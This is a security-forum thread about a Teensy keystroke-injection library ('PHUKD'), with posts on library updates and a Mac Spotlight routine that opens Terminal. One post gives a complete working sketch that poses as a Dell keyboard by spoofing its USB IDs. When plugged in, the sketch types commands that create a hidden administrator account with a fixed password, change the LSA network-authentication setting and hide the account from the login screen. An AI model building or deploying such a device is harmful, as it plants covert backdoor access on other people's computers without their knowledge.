Jump to content

[Version 1] Irongeek's Phukd Library


Recommended Posts

  • 2 weeks later...

I used your library in my first ducky I dubbed the USBPwn3r:

Flickr Photo Set

Code:

/*
 The following is Jon Marler's USBPwn3r proof-of-concept device for Teensy 2.0

 Uses the PHUKD library from:
http://www.irongeek.com/i.php?page=securit...eystroke-dongle 

 To learn more about Teensyduino see:
http://www.pjrc.com/teensy/teensyduino.html
 Look in arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_api.h for key definitions
 Edit arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_private.h to change USB Vendor and Product ID

 Compile Notes: Make sure you set the correct board type under Tools->Board, and the correct Tools->USB type as well
 */

#include "phukdlib.h"

// The setup() method runs once, when the sketch starts
void setup()   {
      delay(20000);  
      CommandAtRunBarMSWIN("cmd");
      delay(500);
      Keyboard.println("REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v forceguest /t REG_DWORD /d 00000000 /f");
      Keyboard.println("cls");
      Keyboard.println("NET USER IUSR_ADMIN P4ssw0rd! /ADD /active:yes /fullname:\"Built-in admin\" /expires:never /times:all");
      Keyboard.println("cls");
      Keyboard.println("NET LOCALGROUP Administrators IUSR_ADMIN /ADD");
      Keyboard.println("cls");
      Keyboard.println("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v IUSR_ADMIN /t REG_DWORD /d 00000000 /f");
      Keyboard.println("exit");

}


// the loop() method runs over and over again, checking for events
void loop()                     
{

}

The 20 second delay is to allow for windows to add the device and activate it. I also modified the teensy header files to use "Dell Keyboard" as the USB descriptor and changed the USB Vendor and Product ID's to match a Dell Keyboard.

The code is simple. It adds an administrator, and enables network login over the network for tools like Cain and Abel among others.

Using the PHUKD library made the code dead simple and easy to write. Thanks Irongeek!

Link to comment
Share on other sites

  • 2 weeks later...

I've updated the PHUKD Library to 0.2.

The main changes are that I've added two functions for the Gnome desktop under Linux:

ShrinkCurWinGnome()

CommandAtRunBarGnome(char *SomeCommand)

you may also see something about OS X, but it does not work. Can anyone tell me a run bar equivalent that works in OS X?

I've also changed the library so that it goes in the normal libraries folder, and not the same folder as your sketch.

Link to comment
Share on other sites

  • 2 weeks later...
I've updated the PHUKD Library to 0.2.

The main changes are that I've added two functions for the Gnome desktop under Linux:

ShrinkCurWinGnome()

CommandAtRunBarGnome(char *SomeCommand)

you may also see something about OS X, but it does not work. Can anyone tell me a run bar equivalent that works in OS X?

I've also changed the library so that it goes in the normal libraries folder, and not the same folder as your sketch.

Hi,

Do you mean like getting the terminal to show up on the mac? The equivalent of the run command is calling the spotlight on the mac and type in any application name and press enter. It can also search and open any files as well. If I misunderstood your question, I apologize. :)

Sincerely,

Bits1

void cmd(){
//calls up the spotlight
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.send_now();
  Keyboard.set_key1(KEY_SPACE);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(100);
//run the terminal or command line 
  Keyboard.print("Terminal");
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(600);
}

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...